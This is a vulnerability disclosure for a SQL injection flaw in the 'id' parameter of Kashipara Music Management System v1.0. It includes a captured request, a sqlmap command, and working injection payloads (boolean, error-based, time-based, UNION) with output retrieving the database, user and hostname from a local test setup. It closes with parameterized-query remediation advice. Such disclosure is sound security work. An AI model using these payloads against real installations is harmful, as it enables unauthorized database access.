

SQL injection vulnerability in
"/music/controller.php?page=view_music" in Kashipara Music
Management System v1.0 allows attacker to execute arbitrary SQL
commands via the "id" parameter.

Affected Project: Kashipara (<https://www.kashipara.com/>)

Product Official Website URL: Music Management System v1.0
(<https://www.kashipara.com/project/php/12978/music-management-system-in-php-php-project-source-code>)

Version: 1.0

Affected Components:

- **Affected Code File:** /music/controller.php?page=view_music
- **Affected Parameter:** "id"

Steps:

1. Access the "View Music" HTTP request and capture it in Burp Suite proxy editor.

Request:

GET /music/controller.php?page=view_music&id=1 HTTP/1.1

Host: localhost

X-Requested-With: XMLHttpRequest

Content-Length: 2

The screenshot displays the Burp Suite interface with two panels: Request and Response.

Request Panel:

- Method: GET
- URL: /music/controller.php?page=view_music&id=1+AND+1=1
- Host: localhost
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
- Accept: */*
- Accept-Language: en-US,en;q=0.5
- Accept-Encoding: gzip, deflate
- X-Requested-With: XMLHttpRequest
- Connection: close
- Referer: http://localhost/music/index.php?page=view_music&id=3
- Priority: u=0

Response Panel:

- Status: 200 OK
- Server: localhost/music/index.php
- Content-Type: text/html
- Content-Length: 1000

The response body shows a web page titled "View Music". It features a large image of a musical note and the following details:

- Title: Song 101
- Artist: BenSound
- Genre: Rock

2. In this request, the “id” request parameter is vulnerable to SQL injection. This is demonstrated in next steps.
3. We will run SQLMAP against this HTTP request. Command: ***sqlmap.py -r req.txt --batch --flush-session -p id --current-db --current-user --hostname***

```

txt  req.txt
GET /music/controller.php?page=view_music&id=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0)
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://localhost/music/index.php?page=view_music&id=3
Priority: u=0

```

```

C:\Windows\System32\cmd.exe
D:\Tools\SQLMAP\sqlmapproject-sqlmap-79aa315>sqlmap.py -r req.txt --batch --flush-session -p id --current-db --current-user --hostname

```

4. SQLMAP identifies parameter “id” as vulnerable. Also, SQLMAP successfully lists out the database, current user and hostname.

```

[20:48:07] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 67 HTTP(s) requests:
-----
Parameter: id (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: page=view_music&id=1 AND 3041=3041

  Type: error-based
  Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
  Payload: page=view_music&id=1 AND (SELECT 1918 FROM(SELECT COUNT(*),CONCAT(0x7170716b71,(SELECT
1))),0x7162787871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: page=view_music&id=1 AND (SELECT 9044 FROM (SELECT(SLEEP(5)))SSwN)

  Type: UNION query
  Title: Generic UNION query (NULL) - 10 columns
  Payload: page=view_music&id=-2032 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7170716b71,0x52434558
9695845595775417472616c4c485a646c4b444e4d524f467a486f436e,0x7162787871),NULL,NULL,NULL,NULL,NUL

[20:48:07] [INFO] the back-end DBMS is MySQL
web application technology: PHP 8.2.12, Apache 2.4.58, PHP
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[20:48:07] [INFO] fetching current user
current user: 'root@localhost'
[20:48:07] [INFO] fetching current database
current database: 'music_db'
[20:48:07] [INFO] fetching server hostname
hostname: 'DESKTOP-PKVTEFL'
[20:48:07] [INFO] fetched data logged to text files under C:\Users\admin\AppData\Local\sqlmap\output

```

Solution/Good Reads:

User parameterized SQL queries instead of the dynamic SQL queries.

- https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html